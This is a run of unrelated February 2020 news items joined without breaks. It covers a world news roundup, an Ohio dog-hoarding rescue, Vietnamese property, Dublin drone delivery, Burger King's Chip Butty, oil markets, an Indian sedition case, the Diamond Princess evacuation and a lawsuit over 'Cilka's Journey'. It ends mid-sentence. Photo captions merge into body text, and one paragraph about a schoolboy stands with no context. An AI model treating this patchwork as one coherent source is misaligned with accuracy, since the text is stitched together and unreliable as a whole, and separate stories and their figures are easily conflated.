intelligence told lawmakers of Russian bid to boost Trump re-election: source [reuters] Russia Backs Trump's Re-election, and He Fears Democrats Will Exploit Its Support [nyt] * China is confident in winning the fight against the novel coronavirus (COVID-19) amid the support of the international community including the Association of Southeast Asian Nations (ASEAN), said Chinese State Councilor and Foreign Minister Wang Yi at the dinner party of the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease and the fifth Lancang-Mekong Cooperation Foreign Ministers' Meeting in Vientiane,Laos, on Wednesday night. * Two teams of experts sent by the World Health Organization (WHO) were working with their Chinese counterparts in China's Guangdong and Sichuan provinces, respectively, from Feb. 18 to 19, said China's health authority on Thursday. * The death toll in Thursday's road mishap in south India's Tamil Nadu state has climbed up to 20, a local administration official told Xinhua over phone. Most of the passengers in the ill-fated bus belonged to Kerala. * US President Donald Trump on Tuesday spoke over phone with his French counterpart Emmanuel Macron on topics surrounding NATO and counterterrorism, said the White House on Wednesday. * The European Commission unveiled its strategy for data and Artificial Intelligence(AI) on Wednesday, putting trustworthiness at the heart of its digital transformation. * The Kremlin denied Wednesday that new US sanctions against a subsidiary of Russia's Rosneft oil company would hurt relations between Russia and Venezuela. "On the contrary, they are developing and will continue to develop," Kremlin spokesman Dmitry Peskov told reporters. * Speaking at a Chinese New Year celebration on Wednesday at New Zealand Parliament, New Zealand Prime Minister Jacinda Ardern said that she hopes New Zealand will lift the travel bans imposed on China amid the novel coronavirus outbreak "as soon as possible" and normalize commerce and people-to-people links. * Afghanistan's election commission on Tuesday evening finally declared the serving President Mohammad Ashraf Ghani as the elected president for the second term, nearly five months after the 2019 presidential polls. * Foreign investors are looking to increase their investment in Mexico thanks to the ratification of the renovated free trade agreement, Mexican President Andres Manuel Lopez Obrador said on Wednesday. * Turkish President Recep Tayyip Erdogan on Wednesday vowed to launch an operation into the Idlib province of Syria if the Syrian government does not retreat by the end of February. * Head of the Lugansk Regional State Administration Sergey Gayday and French Ambassador to Ukraine Etienne de Ponsen discussed the possibility of financing the railroad construction in the Lugansk Region with the French side investing over EUR100 million (about US$108 million), Interfax Ukraine reported on Wednesday. * The British government earmarked BRP90 million (about US$117 million) to tackle emissions from homes and heavy industry and fund Europe's first large scale and low carbon hydrogen plants, the Department for Business, Energy & Industrial Strategy has said. * France will shut down the Fessenheim nuclear reactor, the country's oldest nuclear power plant, at the end of June, with one of its reactors to be closed this weekend, Prime Minister Edouard Philippe's office said on Wednesday. * The German government approved a draft law to raise the minimum pension level, the Ministry of Labor and Social Affairs (BMAS) announced on Wednesday. After months of discussions, Labor and Social Affairs Minister Hubertus Heil was pleased that "this important social policy reform has finally succeeded." * Palestinian Prime Minister Mohammed Ishtaye on Wednesday called on the European Union to fill the vacuum that was a result of the "failure" of the US Middle East peace plan. * Nearly 58 million Iranians are eligible to vote in the parliamentary elections sheduled for Friday, the head of the election headquarters said Wednesday. The Iranians will go to the polls on Friday to elect the lawmakers for the 290-seat parliament. * Iraq's Prime Minister-designate Mohammed Tawfiq Allawi on Wednesday called on the parliament to hold an extraordinary session to vote on his cabinet lineup next Monday. * Palestine declared on Wednesday that it has engaged in negotiations with Israel through international mediators in order to lift its ban on Palestinian exports. * The United Nations Children's Fund (UNICEF) announced on Wednesday that it will offer financial support to over 40,000 children in Lebanon to prevent them from living in harsh economic conditions, the National News Agency reported. One of the 46 dogs that were surrendered by the owner and taken into custody Wednesday evening from a home at 242 W. Main St. stands on an examining table Thursday at the Claremont Avenue Veterinary Clinic in Ashland. ASHLAND, Ohio Nearly 50 malnourished dogs were rescued from unlivable conditions in an Ashland home Wednesday evening. City police assisted the Ashland County dog warden and the Ashland County Humane Society with collecting the dogs from a home at 242 W. Main St. The owners who have not been identified by authorities voluntarily surrendered 46 of their 54 dogs to the Humane Society, said its director, Tiffany Meyer. Dog Warden Joe Eggerton said its the worst case hes seen in his time working for the county shelter. (The house) was pretty disgusting, he said. Tiffany Meyer, director of the Humane Society of Ashland County, and Joe Eggerton, Ashland County Dog Warden, talk Thursday to reporters at the Claremont Avenue Veterinary Clinic in Ashland with a couple of the 46 dogs that were surrendered by the owner and taken into custody Wednesday evening. The dogs are all mixed breeds a combination of terrier, beagle and chihuahua and range in age from puppies to about 5 years old. Meyer said the majority of the dogs are underweight and some have other health issues. The three dogs Meyer and Eggerton brought out for a news conference Thursday appeared unhealthy and terrified. The dogs were docile, except for near-constant nervous shaking. They were missing large patches of fur and their rib cages were visible. I feel that things got out of control for (the owners), Meyer said. They just started breeding and couldnt afford to feed and maintain them ... then embarrassment comes into play and you dont want to ask for help. So we went in and said, You really need our help. Eggerton said the complaints from neighbors started about a year ago and the owner had been cited for having 15 dogs without any dog licenses. Meyer said it will be up to the county prosecutors office to decide whether to press criminal charges. County Prosecutor Chris Tunnell said his office is reviewing the case and its too early to say whether any charges will be filed. Meyer said one of the issues that arose when dealing with the case was that the city does not have an ordinance limiting the number of dogs on a property. That is something that hopefully Mayor Matt Miller and the council will consider in the future that we put some sort of ordinance in place about the number of dogs, Meyer said. Story continues The animals are being cared for at Claremont Veterinary Clinic in Ashland. Dr. Kristine LaFever assessed the dogs on site Wednesday. Meyer said it is difficult to estimate how much caring for the dogs will cost and it depends on how many other local shelters take on some of the dogs. The dogs will be adopted out only after they have received medical attention, received all their shots, been spayed and neutered and microchipped. This article originally appeared on USA TODAY: Nearly 50 malnourished dogs seized from 'disgusting' Ohio home With robust economic growth in the past several years, Vietnam has become the latest real estate hotspot in Asia and is now considered one of the most preferred destinations for both local and international property buyers and investors, especially from Hong Kong, Taiwan, South Korea, and mainland China. Despite the flourishing market, it remains quite difficult for real estate investors to acquire trustworthy information as well as in-depth knowledge about the market. Thus, a line of access to the most prestigious specialists is seen as a much-valued lifeline to crafting hardy investment plans. Where the top market think tanks reside As homebuyers and investors are struggling to find formal and professional news channels in Vietnam that provide all essential information encompassing macro-economic statistics, housing market figures, and pricing data, the Property Insight programme was created to satisfy this vital demand. With robust economic growth in the past several years, Vietnam has become the latest real estate hotspot in Asia. Since broadcasting the first episode early this year, the programme has been drawing in a soaring number of followers who are interested in business or real estate investment in Vietnam. Property Insight is the very first TV news channel to gather top market think tanks to discuss diverse and intensive topics with ample content about Vietnams economy as well as the local property industry. With in-depth knowledge and a great deal of experience in business, the local property market, or the financial sector, panelists include renowned economists, leading real estate developers, professional market advisors, or business leaders ready to share their views on Vietnams general economic performance, analyse statistics and data, and forecast some market trends in the coming time. CEO Andy Hand Suk Jung and Duong Thuy Dung in Episode 4 First-Half Market Beat These speakers are top leaders such as Nguyen Xuan Thanh, lecturer of Public Policy at Fulbright University Vietnam with academic background in banking, public investment, and infrastructure development; Andy Han Suk Jung, SonKim Lands CEO who wields long-term experience in real estate development; or Duong Thuy Dung, senior director of Valuation, Research, and Consulting at CBRE Vietnam who has abundant research knowledge about the local property market. In-depth knowledge for local property investment With a diverse line-up of real estate experts, every aspect of the market comes under intense scrutiny during the programme in order to provide the most in-depth knowledge for customers. Sharing a leading property developers perspective, SonKim Land CEO Andy stated that the US-China trade conflict has been causing trouble for export companies, especially in the manufacturing sector. However, the conflict presents a great opportunity for the Vietnamese government if only we can get the infrastructure, housing, airports, and seaports ready, he said in Episode 5 themed Global economy and impacts on Vietnam. With its current level of openness, especially in trade and investment, Vietnam has also seen declining growth. Nevertheless, this decline was not so pronounced due to tailwind from private investment, continued production, and business expansion of foreign enterprises, according to Thanh from Fulbright University Vietnam. Nguyen Xuan Thanh sharing about positive changes in Vietnam property market With lucrative foreign direct investment capital flows in recent years, Vietnam has become more attractive in the eyes of global investors who have been lured in by favourable macro-economic factors and the local real estate markets great prospects. Looking into the economic indicators, not only of Vietnam but of Ho Chi Minh City, SonKim Lands CEO gleaned a positive economic picture. Some indicators are stronger than last year, some are unchanged, he commented in Property Insight Episode 4 on the Market beat in the first half of 2019. Somehow, these figures did not have much impact on the property market because of market supply and demand issues. Supply decreased while demand remained strong from domestic and foreign investors, he explained. Because the slow approval process by the government tightened supply, unfortunately not many people were able to buy. The current price level of $10,000-12,000 per square metre seems relatively cheap to foreign buyers from Shanghai, Hong Kong (China), or Singapore, according to Kenneth Atkinson, executive chairman of Grant Thornton Vietnam. The people who are paying those prices for residential units are purchasing to let or speculating. Besides, they will also focus on the affordable and mid-end housing segments which are posing strong growth prospects, particularly with the urbanisation trend unbroken, he shared in Episode 4. JICA will provide aid for the Trenchless Sewerage Pipe Rehabilitation project of the municipal city On the morning of February 21, JICA Vietnam Offices chief representative Konaka Tetsuo and Ho Chi Minh City Peoples Committee Vice Chairman Vo Van Hoan signed the grant agreement on the Project for Trenchless Sewerage Pipe Rehabilitation in Ho Chi Minh City. The signing was witnessed by Japanese Ambassador to Vietnam Umeda Kunio, city People's Committee Chairman Nguyen Thanh Phong, and representatives of the Japanese Consulate General in Ho Chi Minh City, local departments, JICA, and concerned agencies. The grant, valued at JPY1.882 billion ($16.84 million) and committed by the Government of Japan in 2018, will be used to improve drainage capacity and load-bearing capacity with the rehabilitation of ageing drainage and sewer pipes in Ho Chi Minh City. The rehabilitation works will be carried out in 24 months by experienced Japanese companies, under the supervision of a competent Japanese consultant. It is scheduled to be completed in December 2023. The citys rapid urban growth requires the urgent development of environmental infrastructure, in tandem with meeting the demand for safe water supply and water environment protection. While the city is making tremendous efforts in building a new sewerage system which includes wastewater treatment plant and piping network to improve the water environment, the rehabilitation of the old sewer pipes built in the French colonial time is a great challenge in the context of heavy traffic jams, especially in the downtown (districts 1 and 3). Following the Master Plan (JICA, 1999), the Ho Chi Minh City Water Environment Improvement Project in Tau Hu-Ben Nghe river basins (phase I) was implemented, providing a wastewater treatment plant with the daily capacity of 141,000 cubic metres and improving the drainage capacity in Tau Hu and Ben Nghe canals as well as constructing new interceptors and sewer pipes. The second phase of the project is scheduled to be completed in 2022, adding a new wastewater treatment plant with the daily capacity of 330,000cu.m and interceptors and sewer pipes in the Doi-Te River basin. Europes first fast food delivery service by drone will start in south Dublin in a matter of weeks, according to Manna Aero founder, Bobby Healy. Speaking today on Independent.ies technology podcast, The Big Tech Show, Mr Healy said that the public service will be launched in a south Dublin suburb with 30,000 people in March. He said that the three-minute service will deliver food from several chains. Camile Thai is a partner on the food side, he said. Next Tuesday, we will formally announce the name of a major online food player that everybody knows. He said that major online food players delivery service app will have a new drone symbol. You'll open the app and, in this case of Camile Thai, it will offer for the food to be picked up by drone. If you order by drone it will be delivered in less than three minutes. Earlier this month, Camile Thai chief executive Brody Sweeney told a conference in Cork that the Manna Aero drone delivery system would allow customers to pick a landing area around their home, such as a patio or driveway. Mr Healy, the former chief technology officer of CarTrawler, said that the Irish Aviation Authority has been supportive of the initiative. We're going to open it up to about 30,000 people to begin with, he said. What we expect to happen is that there'll be too much demand and so we'll have to restrict it in some way. But anyone who wants to see it can just come along and see it happening. It will be in a public place. Mr Healy recently said that he hopes to scale to 50,000 delivery drones for the Irish and UK markets. We want to literally transform marketplaces, economies, and communities all over the world in a way that not just reduces our carbon footprint, but saves lives and creates jobs while doing so. According to the company, the airborne logistics platform in-a-box will provide online meal ordering platforms, restaurant chains and dark kitchens with a 3-minute delivery promise to their local communities for a fraction of the cost of road-based deliveries. Manna Aero uses custom-designed aviation-grade drones built in Europe and the US. The drone fleet is operated directly from the restaurant or dark kitchen premises and is accessible to food tech providers and online food platforms in a channel-agnostic manner, the company says. It recently received 4.7m in funding from Dynamo Ventures, a company that specialises in supply chain and logistics firms. Burger Kings latest sandwich has customers sharing some strong feelings online. The item, called the Chip Butty, is controversial for one major reason: Its basically just a french fry sandwich. With crispy golden fries, mayo and ketchup, nestled between two soft buns, His Royal Fry-ness, the CHIP BUTTY has arrived, the fast-food chains description for the item reads. Thats right, theres no meat or protein just fries, ketchup, mayo and a bun. And even though the Chip Butty is currently only available in New Zealand (although you can make your own through a sneaky custom order more on that below), its still sparking a massive social media debate among customers both in the U.S. and abroad. Ive never actually had burger king but why did they think they could put fries and ketchup on a bun and call that a sandwich that should be illegal, one Twitter user wrote. Even Wendys got in on the joke, tweeting that perhaps there was a more embarrassing reason behind the new item. When literally anything would be better on a bun than their beef, the chain tweeted. When literally anything would be better on a bun than their beef. https://t.co/YfTTrYrPDI Wendy's (@Wendys) February 18, 2020 Meanwhile, plenty of Twitter users praised the sandwich, with one calling it the ultimate empty calorie treat. Others were quick to point out that the Chip Butty is nothing new depending on where you live. The Chip Butty has long been a casual pub dish in the U.K., where its often served on buttered white bread instead of a hamburger bun. In South Africa, the Gatsby is a jam-packed, uber-caloric mesh of meats, french fries and sub-style bread. In Lebanon, the french fry sandwich is actually a wrap, called a Malak Al-Batata. So what does this thing actually taste like? Even though its not available in the U.S., the In The Know team managed to convince a Burger King in New York to make us a few. The whole experience was interesting. Story continues What happened when we tried Burger Kings Chip Butty Convincing a local Burger King to construct this french fry-loaded monstrosity was easier than it might sound but it cost us. The real Chip Butty costs $2 in New Zealand (around $1.30 USD), but an order of four custom sandwiches ran us a cool $22.78. The order, which was charged as four orders of small fries with accompanying croissants (they were just buns), and two sides of bacon to create a few meat options, was expensive by fast-food standards. It was also extremely divisive, sparking quite a lot of debate among the In The Know team. Some staffers had negative reviews: You couldnt pay me to eat that, one remarked. I wouldnt touch one of those with a 10-foot pole, another said. It just makes me so sad. It looks very empty, another weighed in. But many felt oddly satisfied by the sandwich. I dont know why Im so attracted to it, one team member said. I wish I could eat three more. It tastes like a burger without the meat sweats, another explained. I wouldnt say I liked it but I definitely didnt not like it so maybe Im just ashamed that Im into it, another added. That said, I cant stop thinking about it and would like to eat another one just maybe in private next time. Oil prices fell on Friday as OPEC+ decided not to move its March meeting forward while Russia indicated that it currently has no intentions to cut production further. Market Movers The offshore driller Noble Corp. ( NYSE:NE ) saw a robust 12% surge yesterday after its Q4 losses turned out to be lower than expected amidst increasing floating and jack-up rig commitments. saw a robust 12% surge yesterday after its Q4 losses turned out to be lower than expected amidst increasing floating and jack-up rig commitments. The Spanish Repsols ( MCE:REP ) shares dropped yesterday as its Q4 profits fell 36% and EBITDA decreased 16%, as writedowns bit deep into the majors profitability. shares dropped yesterday as its Q4 profits fell 36% and EBITDA decreased 16%, as writedowns bit deep into the majors profitability. Petrobras (NYSE:PBR) Q4 net income rose fourfold year-on-year, yet still managed to come in below analyst expectations, despite hitting an all-time high in profits ($2 billion). Friday, 21st February, 2020 Weak Chinese recovery prospects that hinder East Asias industrial output, coupled with better than expected US crude inventory data have pushed oil prices down even further. With Russia indicating that it would make no sense to meet before the planned OPEC+ summit on March 06, there remains potential for crude prices to drop even lower given the sizeable supply surplus that is still on the market. Hubei Mandates Further 3 Weeks of Shutdown. Hubei Province authorities have instructed all companies to stay closed for further 3 weeks, until March 11, pointing to a slower-than-expected Chinese economic recovery. As of today, the Chinese coronavirus tally hit 75,465 confirmed cases with more than 2200 deaths. Fuel demand in Hubei itself has dropped more than 80%, whilst Chinese aggregate demand for gasoline, diesel and jet fuel dropped 36% in Q1 2020. In volumetric terms, gasoline will be the hardest-hit, as the February 2020 demand has decreased month-on-month a whopping 1.1mbpd. US Treasury Sanctions Rosneft Trading. The US Treasury Department has put the Swiss-based Rosneft Trading and its president Didier Casemiro on its sanctions list. Despite giving European nations only a days advance notice, the move stipulates a 90-day disentanglement period for all parties to cease their activities with Rosneft Trading. Rosneft Trading is used for third-party trading exclusively, therefore the financial impact of the sanctions on Rosneft (MCX:ROSN) itself is rather muted (as might be ascertained by Rosnefts stock price shrugging it off). Maduro Unveils PDVSA Revival Plan. Venezuelan President Nicolas Maduro has pledged to overhaul the countrys oil industry, setting a 2mbpd oil production target (currently at 0.9mbpd), all the while promising to ramp up gas output and recovering petrochemical production. Hinting at a potential Rosneft interest in the mooted PDVSA privatization scheme, Maduro nominated US-sanctioned Tareck El Aissami to head the newly-created presidential commission that is supposed to oversee the upcoming reforms. Nigeria Drops March Crude Prices. With no Nigerian cargoes sailing for China in February and the prime African crude producer becoming increasingly dependent on European demand, Nigerias state oil company NNPC has effectuated an across-the-board price cut on its March 2020 official selling prices. Its flagship export streams like Bonny Light, Qua Iboe, Forcados, Egina or Escravos were all cut by 50-60 cents per barrel month-on-month. Bombing of Tripolis Port Aggravates Libya Situation. The UN-brokered peace talks in Libya have crumbled as Field Marshal Haftar started to bomb the port of Tripoli starting Wednesday, forcing the Libyan NOC to evacuate fuel vessels and stop all loading operations. With the Zawiya Refinery shut since February 08, supplying Tripoli with fuel has been increasingly difficult and the port attacks seems a clear cut attempt to exhaust the GNA. Libyan oil production dropped to 0.122 mbpd as of February 20, according to the NOC-issued information bulletin. Azeri Plunging from All-Time High. Azeri crude values are looking back to a remarkably tumultuous 2 weeks after attaining an all-time high in premiums vs Dated Brent (at +6.90 USD/bbl), buyers in its traditional market outlet in the Mediterranean have shifted their sight to cheaper West-African replacements and US grades, too. Consequently, when SOCAR started to offer its mid-March cargoes it could barely find a buyer with a price offer of some +3 USD/bbl against Dated Brent. Malaysia and Indonesia Go For Crude Swaps. The national oil companies of Malaysia and Indonesia, Petronas (KL:6033) and Pertamina, have signed a framework deal that would allow them to swap crude as part of their refinery optimization strategies. Malaysia generally produces light sweet grades like Kimanis or Kikeh, whilst Indonesian production is more to the medium sweet side. Valued by the sides at $0.5 billion, the contract also accounts for potential product swaps (read: Malaysian gasoline to Indonesia) and further cross-investment into each others upstream sectors. Mexico Mandates Road Transport ULSD Switch. The Mexican government has adopted a new environmental rule which would require that all truck and bus manufacturers and retailers market only vehicles running on ultra-low-sulfur diesel (ULSD) starting from January 2021. The national oil company PEMEX estimates that the domestic availability of ULSD currently stands at 86%, i.e. it would either need to ramp up imports by then or to reoptimize its refinery runs. Related: The Permian Pipeline Even Environmentalists Should Support Shell Reiterates its Faith in LNG Growth. Shell has presented its 2020 LNG outlook, stipulating that global LNG demand will double by 2040 to 700 million tons LNG. The Anglo-Dutch major reckons Asia will remain the key growth region for LNG, to the extent that Europe will soon cease to be the balancing market and Asian consumers will be able to fully digest most of the supply growth. Europe Dropping April LNG Loaders from US. LNG deliveries from the US to Europe have become economically unviable on the back of the regional spreads narrowing. With landed LNG prices oscillating between 2.15-2.3 per MMBtu in the UK, France and Spain, buyers are cancelling their April-loading US cargoes, among them the Spanish Naturgy (MCE:NTGY) balking its Cheniere (NYSE:LNG) cargo. US exporters usually sell at 115% of Henry Hub futures plus the liquefaction fee. Total Receives Latest Oman Gas License. The Sultanate of Oman signed a PSA with operator Total (NYSE:TOT, the share is 80%) and Thailands PTTEP (remaining 20%) on developing non-associated gas deposits in Block 12, spanning 9 546 km2 in central Oman, adjacent to the Saudi border. Facing a seemingly terminal decline in oil production, Oman has been refashioning its policy towards a predominantly gas-based future. Coronavirus Grinds African Pipeline Construction to a Halt. Only a month after it received the required construction permit from Nigers government, the Chinese CNODC (a JV of CNPC and Petrochina, NYSE:PTR) was forced to stop the construction of the Niger-Benin pipeline, expected to be commissioned in early 2022, for fear of coronavirus spreading amongst the staff as it could not guarantee that newly-arriving specialists from China would not be carrying the virus into Western Africa. Iraq Guards Oil Infrastructure. With anti-government protests continuing to haunt Iraqi society, the new prime minister Mohammed Tawfiq Allawi has ordered to reinforce security around key oil fields in the southern province of Basrah so as to avoid the repetition of production disruptions (as in January 2020 with the 90kbpd al-Ahdab field). A new oil minister is expected to be nominated later this week. By Tom Kool for Oilprice.com More Top Reads From Oilprice.com: At Francis Scott Key Middle School, most of his friends are black or Hispanic, he said. Sometimes, at lunch, they talk about reports of police pinning students to the ground. When he watches those videos, Amir said, he always feels the same way he did three years ago, sitting at the back of a classroom in Dayton. Sedition case: Amulya Leona sent to 14-day judicial custody, father refuses to hire any lawyer India oi-Madhuri Adnal Bengaluru, Feb 21: Amulya Leona Noronha, who raised 'Pakistan zindabad' slogan in the presence of AIMIM chief Asaduddin Owaisi at an anti-CAA rally in Bengaluru's Freedom park was charged with sedition. On being produced in the court, she was sent to 14-day judicial custody till February 23. Amulya Leona, a B.A. student, had asked people to shout with her 'Pakistan Zindabad' after the organisers of the event under the banner of 'Save Constitution' invited her to address the gathering soon after Owaisi came on the stage. Soon Owaisi rushed to snatch the mike from her hands and was joined by others who tried to remove her from the state. But the woman was adamant and raised the slogan again repeatedly. Later, the police stepped in and removed her from the dais. Owaisi then addressed the gathering, saying he did not agree with the woman. "Neither me nor my party has any link with her. We denounce her. The organisers should not have invited her here. If I knew this, I would not have come here. We are for India and we no way support our enemy nation Pakistan. Our entire drive is to save India," the AIMIM MP said. Woman raises pro-Pak slogans at anti-CAA stir in Bengaluru in the presence of AIMIM chief Owaisi JD(S) corporator Imran Pasha claimed she was planted by some rival group to disrupt the event. The woman, he said, was not in the list of speakers and demanded that the police investigate the matterseriously. The father of Amulya Leona was cornered and questioned by pro-Hindu activists at Chikkamagaluru on Thursday night. Meanwhile, a video clip that went viral on Thursday night shows three men questioning him about his views on his daughter's action to which the father can be heard saying that his daughter deserves to be imprisoned for her wrongful act has surfaced. The girl's father also said that he will not apply for her bail and will not hire a lawyer to fight her case. A n evacuation flight is to bring 35 passengers from the coronavirus-stricken Diamond Princess cruise ship to the UK, the Standard understands. The 35 passengers, a mix of Brits and EU nationals, are set to board the plane leaving Japan tomorrow. They have been provisionally confirmed aboard the voyage, though will be tested again ahead of departure. There were some 78 Brits aboard the boat, of whom four tested postitive for the Covid-19 virus and were subesquently hospitalised. In total, there have been more than 600 confirmed cases of the illness among the 3,700 on the vessel. Coronavirus: Diamond Princess cruise ship quarantined 1 /32 Coronavirus: Diamond Princess cruise ship quarantined Cruise ship Diamond Princess is anchored off the shore of Yokohama, south of Tokyo AP Global interest: David Abel, who is on board Diamond Princess with his wife Sally, has been posting updates on social media David Abel Department of Foreign Affairs (DFA), officials of the DFA-Philippines in Tokyo with Department of Health team wear protective suits as they prepare for the disembarkation of Filipino crew members on board the Diamond Princess Cruise Ship at Yokohama Port AP A man in a proctective clothing is seen on the sixth deck of cruise ship Diamond Princess in Yokohama via Reuters A woman holds a Japanese flag that reads "shortage of medicine" on the cruise ship Diamond Princess Reuters Passengers disembarking from the Diamond Princess cruise ship docked at Yokohama Port are pictured in Yokohama REUTERS/Kyodo Japan David Abel of the Diamond Princess cruise ship that has been quarantined in Japan. PA David Abel being treated David Abel Workers in protective clothes stand before passengers disembarkating off the Diamond Princess AFP via Getty Images Quarantine operation on the eighth deck of cruise ship Diamond Princess in Yokohama via Reuters An empty general view of Diamond Princess cruise ship PA The Diamond Princess cruise ship, in quarantine due to fears of new COVID-19 coronavirus, is seen at Daikoku pier cruise terminal in Yokohama AFP via Getty Images Sally Abel being treated David Abel/Facebook Men wearing protective gear are seen near the cruise ship Diamond Princess, Reuters The Diamond Princess cruise ship with around 3,700 people on board sits anchored in quarantine off the port of Yokohama after a number of passengers were confirmed to be infected with coronavirus Getty Images An empty general view of Diamond Princess cruise ship PA Medical workers in protective suits lead a passenger tested positive for a new coronavirus from the cruise ship Diamond Princess at Yokohama Port AP Buses carrying passengers who have been under quarantine on a coronavirus-stricken cruise ship off the coast of Japan, the Diamond Princess, leave RAF Boscombe Down in Amesbury Reuters An empty casino on the Diamond Princess cruise ship PA Workers in protective gear are seen on the Japan Coast Guard boats in Yokohama Jiji Press/AFP via Getty Images An empty atrium on the Diamond Princess cruise shi PA Workers in protective gear transfer a person under a blue sheet from the Diamond Princess cruise ship onto a Japan Coast Guard boat in Yokohama Jiji Press/AFP via Getty Images Medical workers in protective suits carry belongings of passengers of the cruise ship Diamond Princess at Yokohama Port AP Cruise ship Diamond Princess is anchored off the shore of Yokohama, south of Tokyo AP The ship was on lockdown for two weeks but those trapped aboard have since been allowed to depart. The plane has landed at Haneda airport in Tokyo and is due to leave on Saturday morning local time. Only those without symptoms will be allowed to board the flight to the Boscombe Down Ministry of Defence base, near Salisbury in Wiltshire. The Brits will then be taken to Arrowe Park Hospital on the Wirral for a 14-day quarantine upon arrival. In addition to the passengers aboard the flight there will also be UK Government medics on the journey. Brits On Coronavirus-hit Diamond Princess Cruise Ship To Be Flown Home One passenger, who was diagnosed with Covid-19 and has since been given the all-clear, joked that the experience will be like visiting a holiday camp. Honeymooner Alan Steele was taken to a Japanese hospital and has since tested negative for the virus and been reunited with his wife, Wendy. Wendys test was negative so Butlins the Wirral here we come for 14 days, Mr Steele posted on Facebook. Elaine Spencer is one of those who has been trapped on the ship. Ms Spencer, from Sittingbourne in Kent, told BBC Radio 4s Today programme she was relieved to be coming home. Asked how the Foreign Office had handled their repatriation, she said slowly. Since being kept on board the cruise liner in the port of Yokohama, a total of 634 passengers and crew have been infected, accounting for more than half of all the confirmed coronavirus cases outside of China. It is understood that some British nationals who are part of the Diamond Princess crew have opted against flying back to the UK. Some British nationals who were passengers have not registered for the flight, some have returned to their homes overseas, while a number boarded an earlier evacuation flight to Hong Kong, where they live, it is understood. The four Britons on board the Diamond Princess who have tested positive for coronavirus will not be on the flight. David and Sally Abel gained an international following for their upbeat Facebook posts / PA David and Sally Abel, from Northamptonshire, are now being treated in a Japanese hospital after spending days shut in their cabin following their diagnosis with the virus. In a Facebook post, Mr Abel said he and his wife were in the best place and said the couple will need to test negative for Covid-19 three times after treatment. See you all before you know it, he added. David is being treated at a hospital with his wife in Japan (Facebook/David Abel) / David Abel Meanwhile, Britons in Cambodia who left another cruise ship, the Westerdam, and who have been cleared for travel are being assisted by the Foreign Office to make their way home. The group are receiving health advice and being helped with commercial flight bookings. All have tested negative after one case was diagnosed on board. It is unclear how many Britons are returning and whether some British passengers had already returned. Passengers from the MS Westerdam bid farewell to one another before heading for the airport / AP Public Health England (PHE) said airport health teams would meet the flights and speak to Westerdam passengers about any symptoms. If they do not have symptoms, passengers will be given health advice and told to self-isolate at home for 14 days but, if they have symptoms, they will be taken to hospital for testing. Coronavirus: The confirmed cases around the world As of 2pm on Friday, a total of 5,885 people in the UK have been tested for coronavirus, of whom nine have tested positive. There have been more than 75,000 confirmed infections recorded in mainland China and more than 1,000 cases across 26 other countries including those on board the Diamond Princess. Authorities in China recorded 118 deaths on Thursday, taking the total to 2,236 inside the country. Cilka's Journey by Heather Morris is based on the harrowing story of Cecilia Kovachova The best selling author of The Tattooist of Auschwitz faces legal action after being accused of 'lying' about the principal character in her latest blockbuster novel. Heather Morris's new book 'Cilka's Journey' is based on the real life, harrowing story of Cecilia Kovachova who survived two of the greatest horrors of the 20th Century - Auschwitz concentration camp, where she was imprisoned at the age of 16 and then a brutal Soviet gulag, where she spent nine years. But Cecilia's stepson, George Kovach has accused her of writing 'hurtful, devastating lies,' and blurring the boundaries of fact and fiction. Speaking from his home in Oakland, California, Mr Kovach, told MailOnline: 'We've been trying for several months to try and address this great injustice that's been done to Cecilia. 'She was not a sex slave and did not do any of the things that have been written by Morris. But her publishers have not even had the decency to respond to my letters. In the book, Morris writes about the life of Cecilia (pictured with her husband Ivan in around 1958) whom the writer says was used as a sex slave of two SS commanders in Auschwitz Cecilia (pictured in her later years in 1984 with husband Ivan and their grandson, Peter) was also accused by Morris of being a Nazi collaborator and sent to the Vorkuta gulag in Siberia Bestselling author Heather Morris's vivid portrayal of life at the Auschwitz-Birkenau camp concentration camp (pictured in 1945) is told in The Tattooist of Auschwitz and Cilka's Journey 'The time has now come for this to be settled in court. It's going to cost me a lot of money but it will be worth it. I'm determined to clear Cecilia's name. She was a wonderful person, one of life's great survivors and it makes me livid that she has been defamed in this way.' Cecilia's stepson George Kovach is suing the author over her portrayal of his stepmother New Zealand born Morris uses the fictional character of Cilka Klein to portray Cecilia's miraculous survival, vividly portraying her as the sex slave of two SS commanders in Auschwitz. After Red Army soldiers liberate the concentration camp, she is then accused of being a Nazi collaborator and sent to the Vorkuta gulag in Siberia. Cilka's Journey is a sequel to Morris's 2018 debut novel, The Tattooist of Auschwitz, which became a global hit and sold over three million copies. Bonnier Zaffre, Morris's publisher in the UK, refused to comment on any impending legal action. They insisted that Cilka's Journey is a work of fiction based on factual testimonies Morris collected during interviews with Auschwitz survivors. A spokesperson told MailOnline: 'The central character in Cilka's Journey is drawn from the first-hand testimony through conversations with survivors, and through extensive research in Slovakia.' Cecilia (seen as a child with her father Mikulas Klein and sister) was sent to Auschwitz aged 16 - then spent nine years in a Russian gulag for supposedly collaborating with the Nazis Cecilia was born in Bratislava in 1936. Here the Klein family is pictured in their car in the early 1940s before the whole family was sent Auschwitz where they all died except for Cecilia Cecilia's story began in Bratislava where she was born in 1936. She was the daughter of a factory manager and the family, which included her mother and a younger sister, lived in a middle class suburb of the city. They were sent to Auschwitz because they were Jews. All of them were killed except for her. After being liberated by the Russian Red Army from Auschwitz, Cecilia was accused of collaborating with the Nazis and thrown in the Vorkuta gulag in Siberia for nine years. At the brutal Soviet workhouse she met Ivan who had been sent there in 1948 following the invasion of Czechoslovakia by the Soviets after he was accused of being a 'class enemy.' After their release from the Russian gulag in 1957, Ivan and Cecilia returned to live in Bratislava, which is now the capital of Slovakia. She died there in 2004, aged 68. Soviet soldiers are seen with some of the prisoners they liberated in the Auschwitz death camp in Oswiecim, Poland. Some 7,000 prisoners were still alive when the camp was taken over Prisoners in their shack in the Vorkuta Gulag (Vorkutlag), where Cecilia spent nine years until her release in 1957, which was one of the major Soviet labor camps, Russia, Komi Republic Mr Kovach said: 'If anybody knows Cecilia's true story, it's me. My stepmother's name is being used to make money from this book. This is all about filthy lucre; it's as simple as that. 'For me, this court action is not about money, it's about setting the record straight. Just because Cecilia is dead, it doesn't give you the right to write these disgusting lies about her.' Heather Morris has been accused of writing 'hurtful lies' about Cecilia by her stepson After firing off a series of angry letters to Morris and her publishers, following the book's successful release last year, Mr Kovach's lawyers believe they have now established that they have the right to bring the case in a US court utilising Slovakian law, which allows the relatives of people to protect their reputation even after death. Raymond Markovich, who is representing Mr Kovach, told MailOnline: 'We have a valid claim under Slovakian law, which can be heard in a US Federal court. There are many legal systems where you cannot take action against those who libel the dead but that is not the case in Slovakia, where Cecilia 